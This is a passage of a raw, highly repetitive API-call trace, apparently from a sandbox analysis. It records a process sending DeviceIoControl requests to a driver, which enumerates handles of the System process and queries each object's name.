lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.588] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.588] PsAcquireProcessExitSynchronization () returned 0x0 [0119.588] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.588] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002364460, HandleInformation=0x0) returned 0x0 [0119.588] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.588] PsReleaseProcessExitSynchronization () returned 0x2 [0119.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.588] ObQueryNameString (in: Object=0xfffffa8002364460, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.588] ObfDereferenceObject (Object=0xfffffa8002364460) returned 0x2 [0119.588] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.588] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0119.588] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.588] PsAcquireProcessExitSynchronization () returned 0x0 [0119.588] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.588] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0119.588] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.588] PsReleaseProcessExitSynchronization () returned 0x2 [0119.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.589] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.589] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0119.589] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.589] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.589] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.589] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.589] PsAcquireProcessExitSynchronization () returned 0x0 [0119.589] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.589] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0119.589] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.589] PsReleaseProcessExitSynchronization () returned 0x2 [0119.589] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.589] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.589] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0119.589] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.589] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.589] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.589] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.589] PsAcquireProcessExitSynchronization () returned 0x0 [0119.589] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.589] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0119.589] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.589] PsReleaseProcessExitSynchronization () returned 0x2 [0119.589] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.589] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.589] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0119.589] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.589] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.589] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.589] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.590] PsAcquireProcessExitSynchronization () returned 0x0 [0119.590] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.590] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037c6dd0, HandleInformation=0x0) returned 0x0 [0119.590] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.590] PsReleaseProcessExitSynchronization () returned 0x2 [0119.590] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.590] ObQueryNameString (in: Object=0xfffffa80037c6dd0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.590] ObfDereferenceObject (Object=0xfffffa80037c6dd0) returned 0x2 [0119.653] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.653] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.653] PsAcquireProcessExitSynchronization () returned 0x0 [0119.653] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.653] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214cdb0, HandleInformation=0x0) returned 0x0 [0119.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.653] PsReleaseProcessExitSynchronization () returned 0x2 [0119.653] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.653] ObQueryNameString (in: Object=0xfffffa800214cdb0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.653] ObfDereferenceObject (Object=0xfffffa800214cdb0) returned 0x2 [0119.653] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.653] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.653] PsAcquireProcessExitSynchronization () returned 0x0 [0119.653] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.653] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030bbf20, HandleInformation=0x0) returned 0x0 [0119.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.653] PsReleaseProcessExitSynchronization () returned 0x2 [0119.653] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.653] ObQueryNameString (in: Object=0xfffffa80030bbf20, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.653] ObfDereferenceObject (Object=0xfffffa80030bbf20) returned 0x2 [0119.653] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.654] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.654] PsAcquireProcessExitSynchronization () returned 0x0 [0119.654] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.654] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0119.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.654] PsReleaseProcessExitSynchronization () returned 0x2 [0119.654] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.654] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.654] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0119.654] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.654] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.654] PsAcquireProcessExitSynchronization () returned 0x0 [0119.654] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.654] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025be3b0, HandleInformation=0x0) returned 0x0 [0119.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.654] PsReleaseProcessExitSynchronization () returned 0x2 [0119.654] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.654] ObQueryNameString (in: Object=0xfffffa80025be3b0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.654] ObfDereferenceObject (Object=0xfffffa80025be3b0) returned 0x2 [0119.654] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.654] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.654] PsAcquireProcessExitSynchronization () returned 0x0 [0119.654] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.654] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0119.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.654] PsReleaseProcessExitSynchronization () returned 0x2 [0119.654] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.655] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.655] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0119.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.655] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.655] PsAcquireProcessExitSynchronization () returned 0x0 [0119.655] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.655] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037b37c0, HandleInformation=0x0) returned 0x0 [0119.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.655] PsReleaseProcessExitSynchronization () returned 0x2 [0119.655] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.655] ObQueryNameString (in: Object=0xfffffa80037b37c0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.655] ObfDereferenceObject (Object=0xfffffa80037b37c0) returned 0x2 [0119.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.655] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.655] PsAcquireProcessExitSynchronization () returned 0x0 [0119.655] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.655] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0119.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.655] PsReleaseProcessExitSynchronization () returned 0x2 [0119.655] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.655] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.655] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0119.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.655] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.655] PsAcquireProcessExitSynchronization () returned 0x0 [0119.656] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.656] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0119.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.656] PsReleaseProcessExitSynchronization () returned 0x2 [0119.656] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.656] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.656] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0119.656] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.656] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.656] PsAcquireProcessExitSynchronization () returned 0x0 [0119.656] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.656] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0119.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.656] PsReleaseProcessExitSynchronization () returned 0x2 [0119.656] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.656] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.656] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0119.656] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.656] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.656] PsAcquireProcessExitSynchronization () returned 0x0 [0119.656] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.656] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002849960, HandleInformation=0x0) returned 0x0 [0119.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.656] PsReleaseProcessExitSynchronization () returned 0x2 [0119.656] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.656] ObQueryNameString (in: Object=0xfffffa8002849960, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.657] ObfDereferenceObject (Object=0xfffffa8002849960) returned 0x2 [0119.657] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.657] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.657] PsAcquireProcessExitSynchronization () returned 0x0 [0119.657] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.657] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, 